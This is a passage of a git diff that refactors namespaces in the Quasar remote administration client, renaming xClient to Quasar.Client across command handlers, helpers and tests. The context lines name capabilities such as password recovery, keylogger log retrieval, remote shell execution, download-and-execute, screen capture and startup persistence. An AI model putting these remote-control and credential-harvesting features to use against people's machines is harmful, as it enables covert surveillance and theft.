--- a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs +++ b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs @@ -1,8 +1,8 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Encryption +namespace Quasar.Client.Tests.Core.Encryption { [TestClass] public class SHA256Tests diff --git a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs index 5ece95477..e47f73422 100644 --- a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs +++ b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs @@ -1,7 +1,7 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Helper +namespace Quasar.Client.Tests.Core.Helper { [TestClass] public class FileHelperTests diff --git a/Quasar.Client.Tests/Quasar.Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj index c4a8e4522..0e185643e 100644 --- a/Quasar.Client.Tests/Quasar.Client.Tests.csproj +++ b/Quasar.Client.Tests/Quasar.Client.Tests.csproj @@ -6,7 +6,7 @@ {7223F9B2-17A2-432B-ADAC-51B1E35681DB} Library Properties - xClient.Tests + Quasar.Client.Tests Client.Tests v4.0 512 diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 09631d48e..30a185732 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,11 +1,11 @@ using System; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; #if !DEBUG -using xClient.Core.Cryptography; +using Quasar.Client.Core.Cryptography; #endif -namespace xClient.Config +namespace Quasar.Client.Config { public static class Settings { diff --git a/Quasar.Client/Core/Commands/CommandHandler.cs b/Quasar.Client/Core/Commands/CommandHandler.cs index 909d1cdde..118845406 100644 --- a/Quasar.Client/Core/Commands/CommandHandler.cs +++ b/Quasar.Client/Core/Commands/CommandHandler.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Threading; +using Quasar.Client.Core.Utilities; using Quasar.Common.Video.Codecs; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/ConnectionHandler.cs b/Quasar.Client/Core/Commands/ConnectionHandler.cs index e7a59f256..8509e23f4 100644 --- a/Quasar.Client/Core/Commands/ConnectionHandler.cs +++ b/Quasar.Client/Core/Commands/ConnectionHandler.cs @@ -1,21 +1,20 @@ using System; using System.Net; using System.Threading; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Installation; +using Quasar.Client.Core.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient.Core.Commands + +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetAuthentication(GetAuthentication command, Client client) + public static void HandleGetAuthentication(GetAuthentication command, Networking.Client client) { GeoLocationHelper.Initialize(); @@ -45,7 +44,7 @@ public static void HandleGetAuthentication(GetAuthentication command, Client cli } } - public static void HandleDoClientUpdate(DoClientUpdate command, Client client) + public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadUrl)) @@ -110,7 +109,7 @@ public static void HandleDoClientUpdate(DoClientUpdate command, Client client) }).Start(); } - public static void HandleDoClientUninstall(DoClientUninstall command, Client client) + public static void HandleDoClientUninstall(DoClientUninstall command, Networking.Client client) { client.Send(new SetStatus {Message = "Uninstalling... good bye :-("}); diff --git a/Quasar.Client/Core/Commands/FileHandler.cs b/Quasar.Client/Core/Commands/FileHandler.cs index c722ce54d..12e9a88d2 100644 --- a/Quasar.Client/Core/Commands/FileHandler.cs +++ b/Quasar.Client/Core/Commands/FileHandler.cs @@ -2,20 +2,19 @@ using System.IO; using System.Security; using System.Threading; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ public static partial class CommandHandler { - public static void HandleGetDirectory(GetDirectory command, Client client) + public static void HandleGetDirectory(GetDirectory command, Networking.Client client) { bool isError = false; string message = null; @@ -92,7 +91,7 @@ public static void HandleGetDirectory(GetDirectory command, Client client) } } - public static void HandleDoDownloadFile(DoDownloadFile command, Client client) + public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client) { new Thread(() => { @@ -141,7 +140,7 @@ public static void HandleDoDownloadFile(DoDownloadFile command, Client client) }).Start(); } - public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Client client) + public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Networking.Client client) { if (!_canceledDownloads.ContainsKey(command.Id)) { @@ -158,7 +157,7 @@ public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Clie } } - public static void HandleDoUploadFile(DoUploadFile command, Client client) + public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client) { if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath)) NativeMethods.DeleteFile(command.RemotePath); // delete existing file @@ -167,7 +166,7 @@ public static void HandleDoUploadFile(DoUploadFile command, Client client) destFile.AppendBlock(command.Block, command.CurrentBlock); } - public static void HandleDoPathDelete(DoPathDelete command, Client client) + public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client) { bool isError = false; string message = null; @@ -229,7 +228,7 @@ public static void HandleDoPathDelete(DoPathDelete command, Client client) } } - public static void HandleDoPathRename(DoPathRename command, Client client) + public static void HandleDoPathRename(DoPathRename command, Networking.Client client) { bool isError = false; string message = null; diff --git a/Quasar.Client/Core/Commands/MiscHandler.cs b/Quasar.Client/Core/Commands/MiscHandler.cs index fdc7838c4..b8ff6e132 100644 --- a/Quasar.Client/Core/Commands/MiscHandler.cs +++ b/Quasar.Client/Core/Commands/MiscHandler.cs @@ -4,19 +4,18 @@ using System.Net; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ public static partial class CommandHandler { public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command, - Client client) + Networking.Client client) { client.Send(new SetStatus {Message = "Downloading file..."}); @@ -69,7 +68,7 @@ public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command, }).Start(); } - public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client) + public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client) { if (!_renamedFiles.ContainsKey(command.Id)) _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); @@ -116,7 +115,7 @@ public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client c } } - public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client) + public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Client client) { string url = command.Url; @@ -151,7 +150,7 @@ public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client) } } - public static void HandleDoShowMessageBox(DoShowMessageBox command, Client client) + public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client) { new Thread(() => { diff --git a/Quasar.Client/Core/Commands/RegistryHandler.cs b/Quasar.Client/Core/Commands/RegistryHandler.cs index c760283be..39a5a6a07 100644 --- a/Quasar.Client/Core/Commands/RegistryHandler.cs +++ b/Quasar.Client/Core/Commands/RegistryHandler.cs @@ -1,17 +1,16 @@ using System; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Registry; using Quasar.Common.Messages; using Quasar.Common.Models; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Registry; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ public static partial class CommandHandler { - public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client) + public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Networking.Client client) { GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); try @@ -33,7 +32,7 @@ public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client) #region Registry Key Edit - public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client client) + public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client) { GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); string errorMsg; @@ -61,7 +60,7 @@ public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client cl client.Send(responsePacket); } - public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client client) + public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Networking.Client client) { GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); string errorMsg; @@ -81,7 +80,7 @@ public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client cl client.Send(responsePacket); } - public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client client) + public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Networking.Client client) { GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); string errorMsg; @@ -106,7 +105,7 @@ public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client cl #region RegistryValue Edit - public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Client client) + public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client) { GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); string errorMsg; @@ -127,7 +126,7 @@ public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Client client) + public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Networking.Client client) { GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); string errorMsg; @@ -147,7 +146,7 @@ public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Client client) + public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Networking.Client client) { GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); string errorMsg; @@ -168,7 +167,7 @@ public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Clien client.Send(responsePacket); } - public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Client client) + public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client) { GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); string errorMsg; diff --git a/Quasar.Client/Core/Commands/SurveillanceHandler.cs b/Quasar.Client/Core/Commands/SurveillanceHandler.cs index 9ccdc3430..e9bb87155 100644 --- a/Quasar.Client/Core/Commands/SurveillanceHandler.cs +++ b/Quasar.Client/Core/Commands/SurveillanceHandler.cs @@ -1,28 +1,27 @@ -using Quasar.Common.Enums; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Video; -using Quasar.Common.Video.Codecs; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Recovery.Browsers; -using xClient.Core.Recovery.FtpClients; -using xClient.Core.Utilities; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Recovery.Browsers; +using Quasar.Client.Core.Recovery.FtpClients; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetPasswords(GetPasswords packet, Client client) + public static void HandleGetPasswords(GetPasswords packet, Networking.Client client) { List recovered = new List(); @@ -37,7 +36,7 @@ public static void HandleGetPasswords(GetPasswords packet, Client client) client.Send(new GetPasswordsResponse {RecoveredAccounts = recovered}); } - public static void HandleGetDesktop(GetDesktop command, Client client) + public static void HandleGetDesktop(GetDesktop command, Networking.Client client) { // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex)); @@ -113,7 +112,7 @@ public static void HandleGetDesktop(GetDesktop command, Client client) } } - public static void HandleDoMouseEvent(DoMouseEvent command, Client client) + public static void HandleDoMouseEvent(DoMouseEvent command, Networking.Client client) { try { @@ -161,7 +160,7 @@ public static void HandleDoMouseEvent(DoMouseEvent command, Client client) } } - public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client) + public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Networking.Client client) { if (NativeMethodsHelper.IsScreensaverActive()) NativeMethodsHelper.DisableScreensaver(); @@ -169,7 +168,7 @@ public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client) NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown); } - public static void HandleGetMonitors(GetMonitors command, Client client) + public static void HandleGetMonitors(GetMonitors command, Networking.Client client) { if (Screen.AllScreens.Length > 0) { @@ -177,7 +176,7 @@ public static void HandleGetMonitors(GetMonitors command, Client client) } } - public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Client client) + public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Networking.Client client) { new Thread(() => { diff --git a/Quasar.Client/Core/Commands/SystemHandler.cs b/Quasar.Client/Core/Commands/SystemHandler.cs index 5dfd5720e..f848f011a 100644 --- a/Quasar.Client/Core/Commands/SystemHandler.cs +++ b/Quasar.Client/Core/Commands/SystemHandler.cs @@ -1,27 +1,27 @@ -using Microsoft.Win32; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net.NetworkInformation; using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; +using Microsoft.Win32; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Models = Quasar.Common.Models; +using Process = System.Diagnostics.Process; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ public static partial class CommandHandler { - public static void HandleGetDrives(GetDrives command, Client client) + public static void HandleGetDrives(GetDrives command, Networking.Client client) { DriveInfo[] driveInfos; try @@ -69,7 +69,7 @@ public static void HandleGetDrives(GetDrives command, Client client) client.Send(new GetDrivesResponse {Drives = drives}); } - public static void HandleDoShutdownAction(DoShutdownAction command, Client client) + public static void HandleDoShutdownAction(DoShutdownAction command, Networking.Client client) { try { @@ -101,7 +101,7 @@ public static void HandleDoShutdownAction(DoShutdownAction command, Client clien } } - public static void HandleGetStartupItems(GetStartupItems command, Client client) + public static void HandleGetStartupItems(GetStartupItems command, Networking.Client client) { try { @@ -194,7 +194,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) } } - public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client client) + public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Networking.Client client) { try { @@ -274,7 +274,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien } } - public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client client) + public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Networking.Client client) { try { @@ -344,7 +344,7 @@ public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client } } - public static void HandleGetSystemInfo(GetSystemInfo command, Client client) + public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client) { try { @@ -382,7 +382,7 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Client client) } } - public static void HandleGetProcesses(GetProcesses command, Client client) + public static void HandleGetProcesses(GetProcesses command, Networking.Client client) { Process[] pList = Process.GetProcesses(); var processes = new Models.Process[pList.Length]; @@ -401,7 +401,7 @@ public static void HandleGetProcesses(GetProcesses command, Client client) client.Send(new GetProcessesResponse {Processes = processes}); } - public static void HandleDoProcessStart(DoProcessStart command, Client client) + public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client) { if (string.IsNullOrEmpty(command.ApplicationName)) { @@ -428,7 +428,7 @@ public static void HandleDoProcessStart(DoProcessStart command, Client client) } } - public static void HandleDoProcessKill(DoProcessKill command, Client client) + public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client) { try { @@ -443,7 +443,7 @@ public static void HandleDoProcessKill(DoProcessKill command, Client client) } } - public static void HandleDoAskElevate(DoAskElevate command, Client client) + public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client) { if (WindowsAccountHelper.GetAccountType() != "Admin") { @@ -475,7 +475,7 @@ public static void HandleDoAskElevate(DoAskElevate command, Client client) } } - public static void HandleDoShellExecute(DoShellExecute command, Client client) + public static void HandleDoShellExecute(DoShellExecute command, Networking.Client client) { string input = command.Command; diff --git a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs index 3e0332467..6541039f7 100644 --- a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs @@ -1,19 +1,18 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; -using System.Diagnostics; +using System; using System.Net; using System.Runtime.InteropServices; -using xClient.Core.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Models = Quasar.Common.Models; +using Process = System.Diagnostics.Process; -namespace xClient.Core.Commands +namespace Quasar.Client.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ public static partial class CommandHandler { - public static void HandleGetConnections(Client client, GetConnections packet) + public static void HandleGetConnections(Networking.Client client, GetConnections packet) { var table = GetTable(); @@ -44,7 +43,7 @@ public static void HandleGetConnections(Client client, GetConnections packet) client.Send(new GetConnectionsResponse {Connections = connections}); } - public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) + public static void HandleDoCloseConnection(Networking.Client client, DoCloseConnection packet) { var table = GetTable(); diff --git a/Quasar.Client/Core/Compression/SafeQuickLZ.cs b/Quasar.Client/Core/Compression/SafeQuickLZ.cs index df313e3cf..31eb36a33 100644 --- a/Quasar.Client/Core/Compression/SafeQuickLZ.cs +++ b/Quasar.Client/Core/Compression/SafeQuickLZ.cs @@ -2,7 +2,7 @@ #pragma warning disable 0675 -namespace xClient.Core.Compression +namespace Quasar.Client.Core.Compression { // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold diff --git a/Quasar.Client/Core/Cryptography/AES.cs b/Quasar.Client/Core/Cryptography/AES.cs index b2848a47b..7bbb88b56 100644 --- a/Quasar.Client/Core/Cryptography/AES.cs +++ b/Quasar.Client/Core/Cryptography/AES.cs @@ -2,9 +2,9 @@ using System.IO; using System.Security.Cryptography; using System.Text; -using xClient.Core.Helper; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Cryptography +namespace Quasar.Client.Core.Cryptography { public static class AES { diff --git a/Quasar.Client/Core/Cryptography/SHA256.cs b/Quasar.Client/Core/Cryptography/SHA256.cs index ccb8ad0ce..cb3f04e26 100644 --- a/Quasar.Client/Core/Cryptography/SHA256.cs +++ b/Quasar.Client/Core/Cryptography/SHA256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace xClient.Core.Cryptography +namespace Quasar.Client.Core.Cryptography { public static class SHA256 { diff --git a/Quasar.Client/Core/Data/ClientData.cs b/Quasar.Client/Core/Data/ClientData.cs index 4ea74322f..f429cb2d0 100644 --- a/Quasar.Client/Core/Data/ClientData.cs +++ b/Quasar.Client/Core/Data/ClientData.cs @@ -1,6 +1,6 @@ using System.Windows.Forms; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { public static class ClientData { diff --git a/Quasar.Client/Core/Data/GeoInformation.cs b/Quasar.Client/Core/Data/GeoInformation.cs index 7ba15a786..7bca8069f 100644 --- a/Quasar.Client/Core/Data/GeoInformation.cs +++ b/Quasar.Client/Core/Data/GeoInformation.cs @@ -1,6 +1,6 @@ using System.Runtime.Serialization; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { [DataContract] public class GeoInformation diff --git a/Quasar.Client/Core/Data/Host.cs b/Quasar.Client/Core/Data/Host.cs index c4bbf6082..f2f84a7ca 100644 --- a/Quasar.Client/Core/Data/Host.cs +++ b/Quasar.Client/Core/Data/Host.cs @@ -1,6 +1,6 @@ using System.Net; -namespace xClient.Core.Data +namespace Quasar.Client.Core.Data { public class Host { diff --git a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs index 9298397da..dac7075e3 100644 --- a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs @@ -1,10 +1,10 @@ -using System.Collections.Generic; -using Microsoft.Win32; +using System; +using System.Collections.Generic; using System.Linq; -using System; +using Microsoft.Win32; using Quasar.Common.Utilities; -namespace xClient.Core.Extensions +namespace Quasar.Client.Core.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Client/Core/Extensions/SocketExtensions.cs b/Quasar.Client/Core/Extensions/SocketExtensions.cs index fc1254a3f..7f5e0e9f1 100644 --- a/Quasar.Client/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Client/Core/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace xClient.Core.Extensions +namespace Quasar.Client.Core.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Client/Core/Helper/CryptographyHelper.cs b/Quasar.Client/Core/Helper/CryptographyHelper.cs index ee0cb2d94..fec64f634 100644 --- a/Quasar.Client/Core/Helper/CryptographyHelper.cs +++ b/Quasar.Client/Core/Helper/CryptographyHelper.cs @@ -1,6 +1,6 @@ using System.Runtime.CompilerServices; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class CryptographyHelper { diff --git a/Quasar.Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/Core/Helper/DevicesHelper.cs index 9c110a94c..37240e91c 100644 --- a/Quasar.Client/Core/Helper/DevicesHelper.cs +++ b/Quasar.Client/Core/Helper/DevicesHelper.cs @@ -3,9 +3,9 @@ using System.Management; using System.Net.NetworkInformation; using System.Net.Sockets; -using xClient.Core.Cryptography; +using Quasar.Client.Core.Cryptography; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class DevicesHelper { diff --git a/Quasar.Client/Core/Helper/FileHelper.cs b/Quasar.Client/Core/Helper/FileHelper.cs index 98c67b176..5ebea424f 100644 --- a/Quasar.Client/Core/Helper/FileHelper.cs +++ b/Quasar.Client/Core/Helper/FileHelper.cs @@ -1,13 +1,13 @@ using System; using System.IO; using System.Text; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Utilities; using Quasar.Common.Enums; using Quasar.Common.Utilities; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class FileHelper { diff --git a/Quasar.Client/Core/Helper/FormatHelper.cs b/Quasar.Client/Core/Helper/FormatHelper.cs index b45bfb3a6..ea8f26eec 100644 --- a/Quasar.Client/Core/Helper/FormatHelper.cs +++ b/Quasar.Client/Core/Helper/FormatHelper.cs @@ -1,8 +1,7 @@ -using System.Drawing; -using System.IO; +using System.IO; using System.Text.RegularExpressions; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class FormatHelper { diff --git a/Quasar.Client/Core/Helper/GeoLocationHelper.cs b/Quasar.Client/Core/Helper/GeoLocationHelper.cs index 63374a51e..84623f221 100644 --- a/Quasar.Client/Core/Helper/GeoLocationHelper.cs +++ b/Quasar.Client/Core/Helper/GeoLocationHelper.cs @@ -4,9 +4,9 @@ using System.Runtime.Serialization.Json; using System.Text; using System.Xml; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class GeoLocationHelper { diff --git a/Quasar.Client/Core/Helper/HostHelper.cs b/Quasar.Client/Core/Helper/HostHelper.cs index 31d3a3a08..375251bcb 100644 --- a/Quasar.Client/Core/Helper/HostHelper.cs +++ b/Quasar.Client/Core/Helper/HostHelper.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class HostHelper { diff --git a/Quasar.Client/Core/Helper/KeyloggerHelper.cs b/Quasar.Client/Core/Helper/KeyloggerHelper.cs index 256b3dbb5..7cd80bfae 100644 --- a/Quasar.Client/Core/Helper/KeyloggerHelper.cs +++ b/Quasar.Client/Core/Helper/KeyloggerHelper.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Windows.Forms; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class KeyloggerHelper { diff --git a/Quasar.Client/Core/Helper/MutexHelper.cs b/Quasar.Client/Core/Helper/MutexHelper.cs index 47efc050b..e82893e38 100644 --- a/Quasar.Client/Core/Helper/MutexHelper.cs +++ b/Quasar.Client/Core/Helper/MutexHelper.cs @@ -1,6 +1,6 @@ using System.Threading; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class MutexHelper { diff --git a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs index 3f2ca67d8..c1f0287ea 100644 --- a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Runtime.InteropServices; using System.Text; -using xClient.Core.Utilities; +using Quasar.Client.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Client/Core/Helper/PlatformHelper.cs b/Quasar.Client/Core/Helper/PlatformHelper.cs index 2af1418ee..d0ed9a854 100644 --- a/Quasar.Client/Core/Helper/PlatformHelper.cs +++ b/Quasar.Client/Core/Helper/PlatformHelper.cs @@ -2,7 +2,7 @@ using System.Management; using System.Text.RegularExpressions; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class PlatformHelper { diff --git a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs index 4406300de..c70ebc234 100644 --- a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs +++ b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs @@ -1,12 +1,12 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Extensions; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Common.Models; +using Quasar.Common.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class RegistryKeyHelper { diff --git a/Quasar.Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Core/Helper/ScreenHelper.cs index 1234ee997..485e96499 100644 --- a/Quasar.Client/Core/Helper/ScreenHelper.cs +++ b/Quasar.Client/Core/Helper/ScreenHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Drawing.Imaging; using System.Windows.Forms; -using xClient.Core.Utilities; +using Quasar.Client.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class ScreenHelper { diff --git a/Quasar.Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Core/Helper/SystemHelper.cs index a5dbf70ee..4a4636a6c 100644 --- a/Quasar.Client/Core/Helper/SystemHelper.cs +++ b/Quasar.Client/Core/Helper/SystemHelper.cs @@ -1,7 +1,7 @@ using System; using System.Management; -namespace xClient.Core.Helper +namespace 